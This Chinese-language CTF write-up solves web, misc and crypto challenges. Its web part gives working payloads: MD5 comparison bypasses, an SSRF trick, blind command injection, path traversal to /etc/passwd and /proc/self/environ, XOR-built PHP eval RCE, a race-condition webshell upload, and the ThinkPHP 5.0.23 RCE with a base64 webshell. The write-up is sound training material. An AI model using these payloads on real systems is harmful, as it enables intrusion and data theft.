web
ezezssrf
打开环境,代码审计
看起来有点多,要绕过五层
第一层:存在==弱比较,使用数组或0e绕过
yunxi[]=1&wlgf[]=2
yunxi=s878926199a&wlgf=s155964671a
第二层:存在===强比较,此处使用string限制参数为字符串型,不能使用数组绕过。可使用两个MD5值完全相同的字符绕过
yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&
wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第三层:变量$GLG开头包含字符串 http://blog.csdn.net
if (strpos($GLG, 'http://blog.csdn.net') !== 0)
strpos 函数用于查找字符串 'http://blog.csdn.net' 在变量 $GLG 中的位置。
如果该字符串不在 $ GLG 的开头(即位置为0),则执行 die 函数终止脚本执行,并输出提示信息。
第四层:同样的使用了strpos 函数查找包含在$GLG中的变量$csdn里的中文“师姐,... ...”,可使用HTTP 基本身份认证绕过
GLG=http://blog.csdn.net@127.0.0.1
第五层:shell_exec()
函数使页面无回显,使用>或tee命令将想要进行的命令执行存入1.txt文件,之后再访问1.txt文件即可。
cmd=cat /flag | tee 1.txt
最终payload:
yunxi=s878926199a&wlgf=s155964671a&yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt
知识点:
md5弱比较(==),强比较(===)
md5强比较&弱比较-CSDN博客
弱比较:只比较值,不比较类型
强比较:比较值,也比较类型
- a==b 将a,b的值转换成同类型再比较值
- a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false
弱比较(==)绕过:
1.数组绕过:md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null。
2.0e绕过:以0e开头的数会被认为是科学计数法,0e+任何数 在科学计数法中都是0,故两数相等。
0e开头的md5和原值: QNKCDZO:0e830400451993494058024219903391 240610708:0e462097431906509019562988736854 s878926199a:0e545993274517709034328855841020 s155964671a:0e342768416822451524974117254469
强比较(===)绕过:
1.数组绕过
2.md5值完全相同的字符绕过
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
万能通式ffifdyop 绕过:
or 对应的16进制:276f7227
ffifdyop字符串,MD5加密后会变成276f7227 36c95d99e921722cf9ed621c
字符串前几位刚好是 ‘ or ‘6
select * from 'admin' where password=md5($pass,true) 输入md5('ffifdyop',true)绕过
HTTP 基本身份认证绕过SSRF:
CTFHUB技能树——SSRF绕过
HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
即 http://www.xxx.com@www.yyy.com形式
shell_exec()函数:
shell_exec()函数会让页面无回显
linux中 “tee” 是从标准输入读取,再写入标准输出和文件
在PHP中 ">" 是表示把什么写入什么文件的意思。
无回显,那就把它写进一个文件,然后访问这个文件即可
?cmd=ls /|tee 1.txt
?cmd= c''at \f*** |tee 1.txt(写进1.txt文件里)
windows系统命令拼接方式 |:直接执行后面的语句。 ||:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假。 &:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
小小py
此题要买flag,但是钱不够
直接购买提示金额不足:
发现右下角提示 *click to download our sweet images* 点击图片能够下载,使用bp抓包 发现图片的下载路径。
/download?image=2.jpg
下载地址可能存在任意文件下载漏洞:
尝试利用路径查看文件,发现不能直接回显。于是用目录穿越查看一下 /etc/passwd 回显成功
/download?image=../../etc/passwd
// etc/passwd 文件包含了系统上所有用户的信息
尝试访问Python环境变量:得到flag
/download?image=../../proc/self/environ
// proc/self 其路径指向当前进程
// environ 记录当前进程的环境变量信息
学习高数
打开环境就问你喜不喜欢高数~
提示说有1万个页面
使用bp抓包爆一下页面,设置数字从1到10000,找到index8887.html的特殊界面
cvFXZohgjf看起来像一个文件,尝试访问 cvFXZohgjf.php,代码审计 需绕过三层
$content = $_GET['GS']; //将$_GET['GS']的值赋给$ content if (strlen($content) >= 60) { die("不是哥们"); } //检查$content的长度是否小于60,如果大于等于60,程序终止并显示"不是哥们"。
// 定义一个黑名单数组$blacklist $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; //遍历$blacklist //使用正则表达式检查$content中是否包含黑名单中的字符,如果包含,程序终止并显示"新号别搞"。 foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("新号别搞"); } }
// 定义一个白名单数组$whitelist,包含了允许在$content中使用的数学函数名称 $whitelist = ['abs', 'acos', 'acosh', 'asin',... ...];
// 使用正则表达式从$content中提取所有函数名称,存储在$used_funcs数组中。 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
// 使用正则表达式从$content中提取所有函数名称,存储在$used_funcs数组中。 // 遍历$used_funcs,检查其中的函数名是否都在$whitelist中,如果不在,程序终止并显示"虾啊"。 foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("虾啊"); } }
eval('echo '.$content.';'); //使用eval函数,将$content中的内容安全地执行并输出
二次传参RCE
第一层:有长度小于60限制,可使用二次传参RCE的方式绕过
?GS=eval($_GET[1]);&1=system('ls');
第二层:但是过滤了很多字符,[ ] 可用{ } 绕过
?GS=$_GET{};$_GET{0}($_GET{1})&0=system&1=ls
//?GS=$_GET{}; 定义一个变量GS,其值为一个空数组
//$_GET{0}($ _GET{1}) 尝试调用$_GET数组中的第一个元素作为函数,并将第二个元素作为参数传递给它
//&0=system 和 &1=ls URL参数,分别被设计为0和1索引的值(命令执行)
异或构造所需字符
第三层:还要检测函数名是否都在$whitelist中
没有禁用 ^ 符号,于是可以通过异或构造想要的$whitelist中的字母
// 使用脚本利用白名单里的函数生成可用字符
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "\n";
}
}
}
将得到的结果保存到记事本中,搜索需要构造的字符
对应字符 异或结果
_G is_nan^(6).(4)
ET tan^(1).(5)
$GS=_GET ————> $GS=(is_nan^(6).(4)).(tan^(1).(5))
直接将上面的3个 _GET 改为 is_nan^(6).(4)).(tan^(1).(5) ,发现太长了~
可以将 _GET 赋值给参数$pi,就只用改1个_GET
(正常来说可随意使用题中所给数学函数作为参数,但是这里限制60的字符长度,有三个字母的函数用了还是会超出)
最终payload:
?GS=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
//$pi=$$pi; 这里使用了变量变量(variable variable),将$pi的值(即_GET)作为变量名,然后将_GET数组赋值给$pi。
得到flag(此处环境有点小问题,但是最终结果如下)
你能跟上我的speed吗
随便传一个文件,都是返回一张图片,根据题目的speed可以猜测为文件上传的条件竞争。
于是上传一句话木马文件,使用bp抓包爆破
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(111) ?>
抓包上传文件的请求
抓包访问上传文件的路径(题目提示路径为./uploads)
不需要设置参数,payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)
两边同时爆破,将文件上传路径页面回显111的页面发送到repeater,改1.php为shell.php,能访问成功
连接蚁剑得到flag
文件上传之条件竞争
文件上传之条件竞争
什么是条件竞争?
在上传文件源代码里面有校验上传的文件,文件直接上传,上传成功后才进行判断;
如果文件格式符合的情况下,则重命名,如果文件格式不符合要求,就将文件删除。
由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在注意:
使用bp
payload type 选择 null payloads
Payload options 选择 Continue indefinitely(无限循环抓包)一句话木马:
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(333) ?> //fopen(...)打开(或创建)名为'shell.php'的文件,并以写入模式(fwrite)进行操作。 //fputs(...):此函数将数据写入由fopen打开的文件。数据是作为字符串提供的。 //<?php eval($_POST[111]); ?>简单的php一句话木马,写入shell.php文件中。 //fclose($op)关闭文件。 //输出数字111,作为一种执行成功的标记。
真正的hacker!(flag1)(flag2)
打开环境是一个ThinkPHP页面
使用ThinkphpGUI工具扫描,发现存在5.0.23版本的rce漏洞
根据扫描出的payload读取flag1
GET传参:?s=captcha&test=-1
POST传参:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag1
访问后给了一个提示“命令执行只能得到flag1,真正的渗透大师热衷于getshell”,说明flag2需要getshell才能得到。
选择漏洞版本后并不能直接getshell
可以进行命令执行
whoami:操作系统中用于查看当前有效用户名的命令
pwd 查看当前路径
ls 查看上传路径
故可利用一句话木马进行命令执行,将一句话木马文件1.php上传到/var/www/public/uploads/路径下
echo '<?php eval($_POST[cmd]); ?>' > var/www/public/uploads/1.php
// 此处上传该木马,蚁剑连接不成功,应该有过滤
// 木马写入错了用rm uploads/1.php 删除文件后重新写入
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" |base64 -d > /var/www/public/uploads/1.php
// 使用base64编码木马后再上传
// base64 -d 是一个命令行指令,用于对Base64编码的数据进行解码
使用蚁剑连接成功,得到flag2
Misc
misc大杂烩
解压后打开PPT,提示有6部分flag,考点简单,但是脑洞太大,所以也说没有思路就不用硬耗时间
考点一:盲水印
保存第二页的图片,使用工具分析吾爱破解WaterMark下载,得到flag1{hdy12-
考点二:word隐藏文字
打开是一个word文档
选中全文,点击字体,打开“字体”对话框。在“字体”对话框中,将“效果”栏下的【隐藏】取消勾选,然后点击确定,这样文档中隐藏的文字就全部取消隐藏状态并显示出来了。
得到flag2{1yhgzc5-
考点三:base64转图片
解压后使用010editor打开,发现base64编码转为图片,得到一个二维码
Base64转换图片工具
在线二维码解码器 ,解码得到 flag3{Ypt0a2-
考点四: Deepsound音频隐写
在音频文件里面,写入了其它的文件,比如flag.txt,也可以是图片等等,此时可以用deepsound进行解密。
将考点4.wav文件放入Deepsound解密,提取1.txt文件得到 flag4{ghj8-
考点五:zip掩码爆破,埃特巴什码解密
有一个压缩包,解压时发现想要密码
根据提示可推测密码形式为 197.157.xx.xx 或 197.157.xxx.xxx
使用掩码爆破,得到解压密码197.157.76.98
解压成功后得到 uozt5{7ftzp-,再进行埃特巴什码解密得 flag5{7ugak-
Zip密码爆破
爆破:逐个尝试所有密码,直到遇到正确密码
字典:字典攻击的效率比爆破稍高,因为字典中存储了常用的密码,因此就避免了爆破时把时间浪费在无用的密码上。
掩码攻击:如果已知密码的某几位,如已知8位密码的第4位是Z,那么可以构造XXXZXXXX进行掩码攻击,掩码攻击的原理相当于构造了第4位为Z的字典,攻击效率也比逐个尝试的爆破方式高。
考点六: 文件16进制颠倒
使用010editor打开附件,可看见一个明显的PK头,但是被倒置了
使用python脚本给它倒回来,使用010打开就正常了
with open('原文件路径','rb') as f: #倒置前
with open('修改后文件路径','wb') as g: #倒置后
g.write(f.read()[::-1])
修改后缀为.zip,解压后得到图片及 flag6: 78uiag}
最终flag: Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}
MISC1
下载附件后使用wireshark打开,发现有一短两长的规律
不改变当前顺序,发现短的最后一个字符拼接起来刚好是flag
flag{7823yed-3892hu-7euiwb-euwidbh82-7ueidw}
MISC2
解压得到一张损坏的图片
使用010editor分析,发现被倒转了
使用python脚本倒置
// 路径中包含特殊字符,使用原始字符串(前缀r) with open(r'E:\yunlabs\4-digit.png','rb') as f: #倒置前 with open(r'E:\yunlabs\4-digit1.png','wb') as g: #倒置后 g.write(f.read()[::-1])
倒置后的4-digit1.png依然是破损的
在后面修复图片时,发现并不需要倒置回来~
使用脚本修复图片,得到一张图片
(这里是对图片4-digit.png进行修复,得到的结果)
def restore_file(input_file, output_file):
# 读取文件内容
with open(input_file, 'rb') as f:
data = f.read()
restored_data = bytearray()
# 每4个字节为一组
for i in range(0, len(data), 4):
# 取出4个字节并倒转顺序
restored_data.extend(data[i:i+4][::-1])
# 将恢复后的数据写入输出文件
with open(output_file, 'wb') as f:
f.write(restored_data)
# 输入和输出文件路径
input_file = r'E:\yunlabs\4-digit.png'
output_file = r'E:\yunlabs\4-digit2.png'
# 调用函数进行文件恢复
restore_file(input_file, output_file)
... ...
明天再看
mics-Make Png Great Again——CVE-2023-28303(截图修复)_windows10教育版激活密钥-CSDN博客
Crypto
mmmd5
下载附件后发现有很多MD5值
最直接的方法,使用在线网站一个一个解得flag
MD5免费在线解密破解_MD5在线加密-SOMD5